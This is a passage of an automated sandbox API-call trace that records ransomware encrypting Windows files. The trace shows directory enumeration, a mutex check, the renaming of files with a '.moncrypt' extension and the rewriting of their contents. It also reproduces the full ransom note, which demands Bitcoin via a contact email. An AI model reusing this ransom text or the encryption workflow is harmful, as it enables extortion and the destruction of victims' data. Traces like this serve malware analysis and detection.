(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.573] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0050.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0050.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0050.574] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.574] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.575] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\blends\\") returned 0x3f [0050.575] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69eb8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.575] GlobalLock (hMem=0x440004) returned 0x550170 [0050.575] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.575] GlobalUnlock (hMem=0x440004) returned 0 [0050.575] GlobalLock (hMem=0x440004) returned 0x550170 [0050.575] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.575] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.575] GlobalUnlock (hMem=0x440004) returned 0 [0050.575] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.575] GlobalUnlock (hMem=0x44000c) returned 0 [0050.575] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.575] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.575] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0050.575] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.575] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.575] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.575] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.575] GlobalUnlock (hMem=0x44000c) returned 0 [0050.575] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.575] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.575] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.575] GlobalUnlock (hMem=0x44000c) returned 0 [0050.575] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.576] GlobalUnlock (hMem=0x440004) returned 0 [0050.576] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.576] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0050.577] CloseHandle (hObject=0x18c) returned 1 [0050.577] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\я")) returned 1 [0050.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 0x54e240 [0050.578] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.578] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.579] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM", dwFileAttributes=0x20) returned 1 [0050.579] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.moncrypt")) returned 1 [0050.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.580] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.580] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x10db7 [0050.580] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.580] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.582] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.582] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.582] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.582] GlobalUnlock (hMem=0x44000c) returned 0 [0050.582] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0050.582] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.582] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.582] GlobalUnlock (hMem=0x44000c) returned 0 [0050.582] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.582] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0050.582] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.582] GlobalUnlock (hMem=0x440004) returned 0 [0050.583] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0050.583] GlobalUnlock (hMem=0x44000c) returned 0 [0050.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.583] GlobalUnlock (hMem=0x44000c) returned 0 [0050.583] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0050.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.583] GlobalUnlock (hMem=0x44000c) returned 0 [0050.583] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.583] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.583] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0050.584] SetFilePointer (in: hFile=0x18c, lDistanceToMove=69047, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x10db7 [0050.584] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0050.584] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0050.584] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d68*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0050.595] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.595] CloseHandle (hObject=0x18c) returned 1 [0050.596] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\blends.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.596] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.596] CloseHandle (hObject=0x18c) returned 1 [0050.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.597] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.597] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.597] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.597] GlobalUnlock (hMem=0x44000c) returned 0 [0050.597] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.597] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.597] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.597] GlobalUnlock (hMem=0x44000c) returned 0 [0050.597] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.597] GlobalUnlock (hMem=0x440004) returned 0 [0050.597] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.597] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69ec8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.597] GetLastError () returned 0x2 [0050.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.600] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.600] CloseHandle (hObject=0x18c) returned 1 [0050.601] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0050.601] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.601] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.601] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.601] GlobalUnlock (hMem=0x440004) returned 0 [0050.601] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.601] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.601] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.601] GlobalUnlock (hMem=0x440004) returned 0 [0050.601] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.601] GlobalUnlock (hMem=0x44000c) returned 0 [0050.601] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.601] CharLowerBuffW (in: lpsz="BLENDS.INF", cchLength=0xa | out: lpsz="blends.inf") returned 0xa [0050.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.601] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.602] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\BLENDS.INF", lpUsedDefaultChar=0x0) returned 73 [0050.602] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.602] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\BLENDS\\BLENDS.INF", lpUsedDefaultChar=0x0) returned 4 [0050.602] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.602] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.602] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.602] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.602] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.602] GlobalUnlock (hMem=0x44000c) returned 0 [0050.602] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.602] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.602] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.602] GlobalUnlock (hMem=0x44000c) returned 0 [0050.602] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.602] GlobalUnlock (hMem=0x440004) returned 0 [0050.603] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.603] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.603] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 